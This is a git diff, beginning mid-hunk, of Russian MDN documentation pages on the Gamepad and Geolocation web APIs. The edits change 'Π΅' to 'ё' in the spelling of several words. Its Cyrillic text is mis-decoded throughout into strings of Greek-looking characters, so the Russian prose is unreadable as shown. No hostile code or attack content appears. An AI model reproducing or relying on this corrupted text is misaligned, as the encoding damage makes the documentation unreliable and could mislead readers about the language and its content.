+<p>Π’ Firefox Π³Π΅ΠΉΠΌΠΏΠ°Π΄Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ взаимодСйствуСт с Π½ΠΈΠΌ, ΠΈ ΠΏΡ€ΠΈ этом страница Π²ΠΈΠ΄Π½Π° ΠΈ Π² фокусС. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ использованиС Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠ² для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ПослС взаимодСйствия с ΠΎΠ΄Π½ΠΈΠΌ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски Π²ΠΈΠ΄Π½Ρ‹.</p>
</div>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Β {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html
index a704963ab2..5aaad8795f 100644
--- a/files/ru/web/api/gamepadbutton/index.html
+++ b/files/ru/web/api/gamepadbutton/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/GamepadButton
<div>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <code><strong>GamepadButton</strong></code> опрСдСляСт ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π° ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°, позволяя ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠ½ΠΎΠΏΠΎΠΊ, доступных Π½Π° устройствС</div>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <strong><code>GamepadButton</code></strong> возвращаСтся ΠΏΡƒΡ‚Π΅ΠΌ получСния любого элСмСнта Π² массивС <code>buttons</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся свойством интСрфСйса {{domxref("Gamepad")}}.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <strong><code>GamepadButton</code></strong> возвращаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ получСния любого элСмСнта Π² массивС <code>buttons</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся свойством интСрфСйса {{domxref("Gamepad")}}.</p>
<div class="note">
<p><strong>Note</strong>: Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Β Β Firefox Gecko 28 ΠΈ Π²Ρ‹ΡˆΠ΅;Β  Chrome ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅ вСрсии  Firefox ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ массив чисСл с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ</p>
@@ -24,7 +24,7 @@ translation_of: Web/API/GamepadButton
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ взят ΠΈΠ· ΠΌΠΎΠ΅Π³ΠΎ<em> (Π°Π²Ρ‚ΠΎΡ€Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ)</em> Π΄Π΅ΠΌΠΎ Gamepad API buttonΒ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Β <a href="http://chrisdavidmills.github.io/gamepad-buttons/">ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅ΠΌΠΎ</a>, ΠΈ <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходники Π½Π° GitHub</a>).Β Π’Π°ΠΆΠ½ΠΎ β€” Π² Chrome {{domxref("Navigator.getGamepads")}} Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ прСфикс <code>webkit</code>, ΠΈ значСния ΠΊΠ½ΠΎΠΏΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ· сСбя массив Π΄Ρ€ΠΎΠ±Π½Ρ‹Ρ… чисСл, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Β Β Firefox {{domxref("Navigator.getGamepads")}} Π½Π΅Ρ‚ нСобходимости ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ прСфикс, ΠΈ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой массив  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β {{domxref("GamepadButton")}}; Бвойство {{domxref("GamepadButton.value")}} ΠΈΠ»ΠΈ {{domxref("GamepadButton.pressed")}} Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для получСния состояния ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π² зависимости ΠΎΡ‚ ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΌ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ обрабатываСтся ΠΎΠ±Π° Π²ΠΈΠ΄Π° ΠΊΠ½ΠΎΠΏΠΎΠΊ.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ взят ΠΈΠ· ΠΌΠΎΠ΅Π³ΠΎ<em> (Π°Π²Ρ‚ΠΎΡ€Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ)</em> Π΄Π΅ΠΌΠΎ Gamepad API buttonΒ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Β <a href="http://chrisdavidmills.github.io/gamepad-buttons/">ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΄Π΅ΠΌΠΎ</a>, ΠΈ <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходники Π½Π° GitHub</a>).Β Π’Π°ΠΆΠ½ΠΎ β€” Π² Chrome {{domxref("Navigator.getGamepads")}} Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ прСфикс <code>webkit</code>, ΠΈ значСния ΠΊΠ½ΠΎΠΏΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ· сСбя массив Π΄Ρ€ΠΎΠ±Π½Ρ‹Ρ… чисСл, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π²Β Β Firefox {{domxref("Navigator.getGamepads")}} Π½Π΅Ρ‚ нСобходимости ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ прСфикс, ΠΈ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ собой массив  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β {{domxref("GamepadButton")}}; Бвойство {{domxref("GamepadButton.value")}} ΠΈΠ»ΠΈ {{domxref("GamepadButton.pressed")}} Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для получСния состояния ΠΊΠ½ΠΎΠΏΠΊΠΈ, Π² зависимости ΠΎΡ‚ ΠΎΡ‚ Ρ‚ΠΈΠΏΠ° ΠΊΠ½ΠΎΠΏΠΊΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΌ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ обрабатываСтся ΠΎΠ±Π° Π²ΠΈΠ΄Π° ΠΊΠ½ΠΎΠΏΠΎΠΊ.</p>
<pre class="brush: js notranslate">function gameLoop() {
if(navigator.webkitGetGamepads) {
diff --git a/files/ru/web/api/gamepadevent/index.html b/files/ru/web/api/gamepadevent/index.html
index b0317ba076..707c5b2685 100644
--- a/files/ru/web/api/gamepadevent/index.html
+++ b/files/ru/web/api/gamepadevent/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/GamepadEvent
---
<p>{{APIRef("Gamepad API")}}</p>
-<p><code>GamepadEvent</code> интСрфСйс {{ domxref("Gamepad API")}} содСрТит ссылки Π½Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊ систСмС, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> ΠΈ <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p>
+<p><code>GamepadEvent</code> интСрфСйс {{ domxref("Gamepad API")}} содСрТит ссылки Π½Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ ΠΊ систСмС, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ событий <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a> ΠΈ <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/geolocation_api/index.html b/files/ru/web/api/geolocation_api/index.html
index 3fcf298e7b..b9eadf1fda 100644
--- a/files/ru/web/api/geolocation_api/index.html
+++ b/files/ru/web/api/geolocation_api/index.html
@@ -10,7 +10,7 @@ original_slug: Web/API/Geolocation/Using_geolocation
---
<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
-<p><strong>Geolocation API</strong> позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽΒ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΒ ΡΠ²ΠΎΠ΅ мСстополоТСниС web-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ согласится ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ. Из сообраТСний ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° прСдоставлСниС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ мСстополоТСнии.</p>
+<p><strong>Geolocation API</strong> позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽΒ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΒ ΡΠ²ΠΎΡ‘ мСстополоТСниС web-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ согласится ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ. Из сообраТСний ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° прСдоставлСниС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ мСстополоТСнии.</p>
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ‚Ρ‹_ΠΈ_использованиС">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ‚Ρ‹ ΠΈ использованиС</h2>
diff --git a/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html b/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html
index e7884d5784..c8d5463e7b 100644
--- a/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html
+++ b/files/ru/web/api/geolocation_api/using_the_geolocation_api/index.html
@@ -10,7 +10,7 @@ original_slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API
---
<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
-<p>Geolocation API позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽΒ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΒ ΡΠ²ΠΎΠ΅ мСстополоТСниС web-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ согласится ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ. Из сообраТСний ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° прСдоставлСниС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ мСстополоТСнии.</p>
+<p>Geolocation API позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽΒ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΒ ΡΠ²ΠΎΡ‘ мСстополоТСниС web-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ согласится ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ. Из сообраТСний ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° прСдоставлСниС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ мСстополоТСнии.</p>
<h2 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚_Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ">ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ</h2>
@@ -41,7 +41,7 @@ original_slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API
<h3 id="НаблюдСниС_Π·Π°_Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ_мСстополоТСниСм">НаблюдСниС Π·Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ мСстополоТСниСм</h3>
-<p>Если Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ мСстополоТСнии ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ (Π»ΠΈΠ±ΠΎ устройство находится Π² Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΈ, Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡˆΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Π³Π΅ΠΎΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ callback Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ вызываСтся ΠΏΡ€ΠΈ любом ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ мСстополоТСнии. Π­Ρ‚ΠΎ дСлаСтся с использованиСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Π­Ρ‚Π° функция вызываСтся ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·, позволяя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π»ΠΎΠΊΠ°Ρ†ΠΈΠΈ Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя двиТСния, Π»ΠΈΠ±ΠΎ послС получСния Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ мСстополоТСнии (послС примСнСния Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠ²). Ѐункция, которая вызываСтся ΠΏΡ€ΠΈ ошибкС, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, ΠΏΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° Π½Π΅ΠΎΠ΄Π½ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ.</p>
+<p>Если Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ мСстополоТСнии ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ (Π»ΠΈΠ±ΠΎ устройство находится Π² Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΈ, Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡˆΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Π³Π΅ΠΎΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ), Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ callback Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ вызываСтся ΠΏΡ€ΠΈ любом ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎ мСстополоТСнии. Π­Ρ‚ΠΎ дСлаСтся с использованиСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Π­Ρ‚Π° функция вызываСтся ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·, позволяя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π»ΠΎΠΊΠ°Ρ†ΠΈΠΈ Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя двиТСния, Π»ΠΈΠ±ΠΎ послС получСния Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ мСстополоТСнии (послС примСнСния Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠ²). Ѐункция, которая вызываСтся ΠΏΡ€ΠΈ ошибкС, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, ΠΏΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° Π½Π΅ΠΎΠ΄Π½ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("Geolocation.watchPosition()","watchPosition()")}} Π±Π΅Π· Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
diff --git a/files/ru/web/api/geolocationcoordinates/index.html b/files/ru/web/api/geolocationcoordinates/index.html
index 11e04a464e..b8ed73803d 100644
--- a/files/ru/web/api/geolocationcoordinates/index.html
+++ b/files/ru/web/api/geolocationcoordinates/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/GeolocationCoordinates
---
<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>Coordinates</code></strong>Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ устройства и Сго высоту Π½Π°Π΄ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ моря с расчСтным ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ точности.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>Coordinates</code></strong>Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ устройства и Сго высоту Π½Π°Π΄ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ моря с расчётным ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ точности.</p>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/geolocationpositionerror/index.html b/files/ru/web/api/geolocationpositionerror/index.html
index 55b2df9bf1..43ff2bceeb 100644
--- a/files/ru/web/api/geolocationpositionerror/index.html
+++ b/files/ru/web/api/geolocationpositionerror/index.html
@@ -34,7 +34,7 @@ translation_of: Web/API/GeolocationPositionError
<tr>
<td><code>3</code></td>
<td><code>TIMEOUT</code></td>
- <td>ВрСмя, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ для получСния Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ, опрСдСляСтся {{domxref ("PositionOptions.timeout")}} информация Π±Ρ‹Π»Π° достигнута Π΄ΠΎ получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</td>
+ <td>ВрСмя, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ для получСния Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ, опрСдСляСтся {{domxref ("PositionOptions.timeout")}} информация Π±Ρ‹Π»Π° достигнута Π΄ΠΎ получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
index 91a6e2bc07..c0c5fc87d8 100644
--- a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
+++ b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
@@ -74,7 +74,7 @@ translation_of: Web/API/GlobalEventHandlers/onanimationcancel
Β </pre>
</div>
